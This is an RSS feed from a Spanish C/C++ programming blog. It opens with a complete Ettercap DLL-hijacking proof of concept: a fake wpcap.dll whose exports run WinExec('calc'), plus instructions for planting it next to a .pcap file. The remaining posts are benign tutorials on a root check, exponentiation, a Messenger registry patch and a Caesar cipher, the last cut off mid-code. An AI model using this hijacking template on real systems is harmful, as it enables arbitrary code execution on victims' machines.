<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DaW - Labs &#187; C/C++</title>
	<atom:link href="http://www.daw-labs.com/category/programacion/cc/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.daw-labs.com</link>
	<description>¡La Informática al límite!</description>
	<lastBuildDate>Sat, 19 May 2012 17:56:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Ettercap NG-0.7.3 DLL Exploit</title>
		<link>http://www.daw-labs.com/ettercap-ng-0-7-3-dll-exploit/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ettercap-ng-0-7-3-dll-exploit</link>
		<comments>http://www.daw-labs.com/ettercap-ng-0-7-3-dll-exploit/#comments</comments>
		<pubDate>Sun, 08 Apr 2012 15:09:00 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Inseguridad Informática]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[explotar]]></category>
		<category><![CDATA[Inseguridad]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1678</guid>
		<description><![CDATA[---------------------------------------------------------------------- Exploit Title: Ettercap NG-0.7.3 DLL hijacking &#40;wpcap.dll&#41; Autor: $ slashdot Testeado: Windows XP SP3 Extensión Vulnerable: .pcap ---------------------------------------------------------------------- &#160; #include &#60;windows.h&#62; #define DLLIMPORT __declspec (dllexport) &#160; &#160; DLLIMPORT void pcap_findalldevs&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_close&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_compile&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_datalink&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_datalink_val_to_description&#40;&#41;&#8230;]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #000040;">----------------------------------------------------------------------</span>
Exploit Title<span style="color: #008080;">:</span>  Ettercap NG<span style="color: #000040;">-</span>0.7.3 DLL hijacking <span style="color: #008000;">&#40;</span>wpcap.<span style="color: #007788;">dll</span><span style="color: #008000;">&#41;</span>          
Autor<span style="color: #008080;">:</span> $ slashdot                                                                 
Testeado<span style="color: #008080;">:</span> Windows XP SP3 
Extensión Vulnerable<span style="color: #008080;">:</span> .<span style="color: #007788;">pcap</span>                                        
<span style="color: #000040;">----------------------------------------------------------------------</span>
&nbsp;
<span style="color: #339900;">#include &lt;windows.h&gt;</span>
<span style="color: #339900;">#define DLLIMPORT __declspec (dllexport)</span>
&nbsp;
&nbsp;
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_findalldevs<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_close<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_compile<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_datalink<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_datalink_val_to_description<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_dump<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_dump_close<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_dump_open<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_file<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_freecode<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_geterr<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_getevent<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_lib_version<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_lookupdev<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_lookupnet<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_loop<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_open_live<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_open_offline<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_setfilter<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_snapshot<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_stats<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
<span style="color: #0000ff;">int</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
&nbsp;
<span style="color: #008000;">&#123;</span>
  WinExec<span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;calc&quot;</span>, <span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
  <span style="color: #0000dd;">exit</span><span style="color: #008000;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
  <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Compilar y renombrar a wpcap.dll, crear en el mismo directorio que el archivo .pcap</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/ettercap-ng-0-7-3-dll-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Saber si se está ejecutando como root</title>
		<link>http://www.daw-labs.com/saber-si-se-esta-ejecutando-como-root/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=saber-si-se-esta-ejecutando-como-root</link>
		<comments>http://www.daw-labs.com/saber-si-se-esta-ejecutando-como-root/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 02:15:12 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[root]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=1131</guid>
		<description><![CDATA[En algunos casos necesitamos que nuestra aplicación sea ejecutada como usuario root en GNU/Linux. Por lo cual, debemos de comprobar cuál usuario ejecutó la aplicación. En este caso lo haré en C++ y usando la función getuid(), la cual retorna el Id. del usuario ( User ID, UID ) que es un número único  y hace referencia&#8230;]]></description>
			<content:encoded><![CDATA[<p>En algunos casos necesitamos que nuestra aplicación sea ejecutada como usuario <strong>root</strong> en GNU/Linux. Por lo cual, debemos de comprobar cuál usuario ejecutó la aplicación.</p>
<p>En este caso lo haré en C++ y usando la función <strong>getuid()</strong>, la cual retorna el Id. del usuario<em> ( User ID, UID )</em> que es un número único  y hace referencia al usuario en el archivo <strong>/etc/passwd</strong>.</p>
<p>Si abrimos el archivo anterior podemos encontrar en la primera línea lo siguiente:</p>
<pre>root:x:0:0:root:/root:/bin/bash</pre>
<p>El cuarto valor sería el identificador.</p>
<p>Bueno, no siendo más voy con el código. En este caso, diseñé la función <strong>IsRoot()</strong> que retorna 0 si se ejecutó como root y 1 si no.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #339900;">#include &lt;unistd.h&gt;</span>
<span style="color: #339900;">#include &lt;iostream&gt;</span>
&nbsp;
<span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span>
&nbsp;
<span style="color: #ff0000; font-style: italic;">/*
 * IsRoot()
 */</span>
<span style="color: #0000ff;">int</span> IsRoot<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
	<span style="color: #0000ff;">int</span> sUser <span style="color: #000080;">=</span> getuid<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
&nbsp;
	<span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>sUser <span style="color: #000040;">!</span><span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span>
		<span style="color: #0000ff;">return</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span>
	<span style="color: #0000ff;">else</span>
		<span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span>
&nbsp;
<span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
	<span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>IsRoot<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #000080;">==</span> <span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span>
	<span style="color: #008000;">&#123;</span>
		<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;-- Root Calc --&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span>
		<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot; 2 x 2 = &quot;</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #0000dd;">2</span><span style="color: #000040;">*</span><span style="color: #0000dd;">2</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span>
	<span style="color: #008000;">&#125;</span>
	<span style="color: #0000ff;">else</span>
		<span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Debe ejecutar como root&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/saber-si-se-esta-ejecutando-como-root/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Potenciación de números naturales en C/C++</title>
		<link>http://www.daw-labs.com/potenciacion-de-numeros-naturales-en-cc/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=potenciacion-de-numeros-naturales-en-cc</link>
		<comments>http://www.daw-labs.com/potenciacion-de-numeros-naturales-en-cc/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 17:03:06 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Matemáticas]]></category>
		<category><![CDATA[Números]]></category>
		<category><![CDATA[Potenciación]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=699</guid>
		<description><![CDATA[La potenciación es una expresión matemática que consta de dos términos denominados: base (a) y exponente (n). Se escribe: y se lee «a elevado a la n». Siempre y cuando sean números naturales ésto equivaldría a multiplicar la base por sí misma el número de veces indicado por el exponente. Programando cálculo en C/C++ Para&#8230;]]></description>
			<content:encoded><![CDATA[<p>La <strong>potenciación </strong>es una expresión matemática que consta de dos términos denominados: <em>base (a)</em> y <em>exponente (n)</em>.</p>
<p>Se escribe: <img src='http://s.wordpress.com/latex.php?latex=a%5En&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='a^n' title='a^n' class='latex' /> y se lee <em>«a elevado a la n»</em>. Siempre y cuando sean números naturales ésto equivaldría a multiplicar la base por sí misma el número de veces indicado por el <em>exponente</em>.</p>
<img src='http://s.wordpress.com/latex.php?latex=a%5E%7Bn%7D%20%3D%20%5Cunderset%7Bn%7D%7B%5Cunderbrace%7Ba%2A..%2Aa%7D%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='a^{n} = \underset{n}{\underbrace{a*..*a}}' title='a^{n} = \underset{n}{\underbrace{a*..*a}}' class='latex' />
<h3><strong>Programando cálculo en C/C++</strong></h3>
<p>Para calcular la potencia de un número, podemos recurrir a la función <strong>pow();</strong> ya implementada, que se encuentra en <strong>&lt;math.h&gt;.</strong> O bien hacerla nosotros.</p>
<p>En éste caso elegí la segunda opción. <em>Hacer nuestra propia función para cálculo de potencias</em>. Vamos a manejar variables del tipo <strong>double</strong>, ya que son más cómodas para trabajar con potencias.</p>
<p>Declararemos la función de la siguiente manera:</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #0000ff;">double</span> potencia<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">double</span> base,<span style="color: #0000ff;">double</span> exponente<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></pre></div></div>

<p>Bien, ahora a trabajar en ella. Según la declaración, tenemos dos variables a las cuales podemos acceder, pero necesitamos declarar otra, la cual contendrá el resultado de la operación matemática que haremos.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #0000ff;">double</span> potencia<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">double</span> base,<span style="color: #0000ff;">double</span> exponente<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
    <span style="color: #0000ff;">double</span> temp <span style="color: #000080;">=</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span>
    <span style="color: #ff0000; font-style: italic;">/* Parte de código  */</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Aquella variable la inicializamos en <em>«1»</em>, ¿por qué?, porque ésta es necesaria multiplicarla por la base, y teniendo un valor nulo, no nos serviría.</p>
<p>Bien, ahora para multiplicar la base por el número de veces declarada por el exponente usaremos el <strong>bucle for</strong>, con él multiplicaremos la variable temporal por la base el número de veces declarado, y por último retornaremos el valor de la variable temporal.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #0000ff;">double</span> potencia<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">double</span> base,<span style="color: #0000ff;">double</span> exponente<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
    <span style="color: #0000ff;">double</span> temp <span style="color: #000080;">=</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
&nbsp;
    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span>i<span style="color: #008080;">;</span>i<span style="color: #000080;">&lt;</span>exponente<span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span>
        temp <span style="color: #000040;">*</span><span style="color: #000080;">=</span> base<span style="color: #008080;">;</span> <span style="color: #ff0000; font-style: italic;">/* Es igual a temp = temp * base; */</span>
&nbsp;
    <span style="color: #0000ff;">return</span> temp<span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Con ésa función, podríamos calcular tranquilamente las potencias. Dejo otra función, en la cual se usa recursividad.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #0000ff;">double</span> potencia<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">double</span> base,<span style="color: #0000ff;">double</span> exponente<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
    <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>exponente <span style="color: #000080;">&lt;=</span> <span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span>
        <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">else</span>
        <span style="color: #0000ff;">return</span> base<span style="color: #000040;">*</span>potencia<span style="color: #008000;">&#40;</span>base,exponente<span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/potenciacion-de-numeros-naturales-en-cc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>¿Cómo crear un parche para multi-sesión en Messenger?</title>
		<link>http://www.daw-labs.com/%c2%bfcomo-crear-un-parche-para-multi-sesion-en-messenger/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=%25c2%25bfcomo-crear-un-parche-para-multi-sesion-en-messenger</link>
		<comments>http://www.daw-labs.com/%c2%bfcomo-crear-un-parche-para-multi-sesion-en-messenger/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 02:38:25 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[foxymsn]]></category>
		<category><![CDATA[fuente]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[parche]]></category>
		<category><![CDATA[poligamia]]></category>
		<category><![CDATA[wlm]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=512</guid>
		<description><![CDATA[Últimamente ví muchos parches de «poligamia» o multi-sesión para usar en Windows Live Messenger® (WLM). Así que decidí programar uno, llamado FoxyMSN&#8230;.Bien ¿Pero cómo es su funcionamiento? ¿cómo se hace un parche de éstos?. El funcionamiento de éstos parches radica en manejar y escribir en el registro de Windows®, específicamente en la llave: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Live\Messenger\&#8230;]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Últimamente ví muchos parches de «<em>poligamia</em>» o multi-sesión para usar en <strong>Windows Live Messenger® (WLM). </strong>Así que decidí programar uno, llamado <strong><a href="http://daw-labs.com/foxymsn-¡multiples-instancias-del-messenger/" target="_blank">FoxyMSN</a></strong>&#8230;.Bien <em>¿Pero cómo es su funcionamiento? ¿cómo se hace un parche de éstos?.</em></p>
<p style="text-align: left;">El funcionamiento de éstos parches radica en manejar y escribir en el registro de <strong>Windows®,</strong> específicamente en la llave:</p>
<p style="text-align: left;"><em><strong>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Live\Messenger\</strong></em></p>
<p style="text-align: left;"><em><strong><a href="http://daw-labs.com/wp-content/uploads/2010/06/Registro.png"><img class="alignnone size-full wp-image-583" title="Registro de Windows" src="http://daw-labs.com/wp-content/uploads/2010/06/Registro.png" alt="Registro de Windows" width="950" height="576" /></a> </strong></em></p>
<p style="text-align: left;">Para permitir que se ejecute más de una instancia de la aplicación, necesitamos crear un <strong>valor de DWORD (32 bits)</strong>, llamado <strong>MultipleInstances</strong>, dónde: <strong>0</strong> = Desactivado y <strong>1</strong> = Activado.<br />
Ok, todo perfecto hasta ahora, pero&#8230;¿Cómo hacemos una aplicación que haga todo éste proceso de forma automática?.</p>
<p style="text-align: left;">Basándonos en un <strong>pseudocódigo</strong> sería algo como ésto:</p>
<pre>Procedimiento RegMultiplesInstances(Valor);
Empezar
	Reg es Registro;

	Reg.AbrirLlave = HKEY_LOCAL_MACHINE;
	Reg.AbrirSubLlave = 'SOFTWARE\Microsoft\Windows Live\Messenger\';
	Reg.Escribir('MultiplesInstances',Valor);
	Reg.CerrarLlave;
	Reg.Libre;
Fin;</pre>
<p>Pongo un código para dejar más ilustrada la explicación anterior <em>(Extracto del código del FoxyMSN)</em>.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #0000ff;">void</span> MultipleInstances<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> Clave<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
	TRegistry <span style="color: #000040;">*</span>Registry <span style="color: #000080;">=</span> <span style="color: #0000dd;">new</span> TRegistry<span style="color: #008080;">;</span>
&nbsp;
	Registry<span style="color: #000040;">-</span><span style="color: #000080;">&gt;</span>RootKey <span style="color: #000080;">=</span> HKEY_LOCAL_MACHINE<span style="color: #008080;">;</span>
	Registry<span style="color: #000040;">-</span><span style="color: #000080;">&gt;</span>OpenKey<span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>SOFTWARE<span style="color: #000099; font-weight: bold;">\\</span>Microsoft<span style="color: #000099; font-weight: bold;">\\</span>Windows Live<span style="color: #000099; font-weight: bold;">\\</span>Messenger<span style="color: #000099; font-weight: bold;">\\</span>&quot;</span>,<span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
	Registry<span style="color: #000040;">-</span><span style="color: #000080;">&gt;</span>WriteInteger<span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;MultipleInstances&quot;</span>,Clave<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
	Registry<span style="color: #000040;">-</span><span style="color: #000080;">&gt;</span>CloseKey<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
	Registry<span style="color: #000040;">-</span><span style="color: #000080;">&gt;</span>Free<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Ahora podrán practicar y sacar sus propios parches <img src='http://www.daw-labs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <strong>. </strong></p>
<blockquote><p><strong><span style="color: #ff0000;">Nota: </span></strong>Cabe aclarar que existe otra manera de parcharlo y es modificando un <strong>byte</strong> en el ejecutable, pero se pueden correr riesgos de inestabilidad en el mismo.</p></blockquote>
<p>Para finalizar, publicaré el código fuente del <strong>FoxyMSN</strong>, está escrito en <strong>C++</strong> y compilado con el <strong>C++ Builder.</strong></p>
<p><strong>- FoxyMSN &#8211; Código fuente ( </strong><a href="http://www.box.net/shared/9390hu1g7l" target="_blank"><strong>http://www.box.net/shared/9390hu1g7l</strong></a><strong> )</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/%c2%bfcomo-crear-un-parche-para-multi-sesion-en-messenger/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cifrado César en C++</title>
		<link>http://www.daw-labs.com/cifrado-cesar-en-c/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cifrado-cesar-en-c</link>
		<comments>http://www.daw-labs.com/cifrado-cesar-en-c/#comments</comments>
		<pubDate>Tue, 25 May 2010 02:06:44 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Criptografía/Esteganografía]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[cesar]]></category>
		<category><![CDATA[cifrado]]></category>
		<category><![CDATA[programa]]></category>
		<category><![CDATA[sustitucion]]></category>
		<category><![CDATA[WindHack]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=428</guid>
		<description><![CDATA[Versión en C++ del algoritmo de cifrado César, programada por mí. /**************************************** @---------------------------------- @ Autor original: [p3ll3] @ Version original: Java @ Autor modificacion: .:WindHack:. @ Version modificacion: C++ @ Sitio web: - http://daw-labs.com - http://foro.code-makers.net @---------------------------------- *****************************************/ &#160; #include &#60;iostream&#62; #include &#60;string&#62; &#160; using namespace std; &#160; /* Declaracion de variables.. El abecedario que&#8230;]]></description>
			<content:encoded><![CDATA[<p>Versión en C++ del algoritmo de cifrado César, programada por mí.</p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #ff0000; font-style: italic;">/****************************************
   @----------------------------------
   @ Autor original: [p3ll3]
   @ Version original: Java
   @ Autor modificacion: .:WindHack:.
   @ Version modificacion: C++
   @ Sitio web:
		- http://daw-labs.com
		- http://foro.code-makers.net
   @----------------------------------
*****************************************/</span>
&nbsp;
<span style="color: #339900;">#include &lt;iostream&gt;</span>
<span style="color: #339900;">#include &lt;string&gt;</span>
&nbsp;
<span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span>
&nbsp;
<span style="color: #ff0000; font-style: italic;">/* Declaracion de variables..
El abecedario que usaremos para el cifrado. */</span>
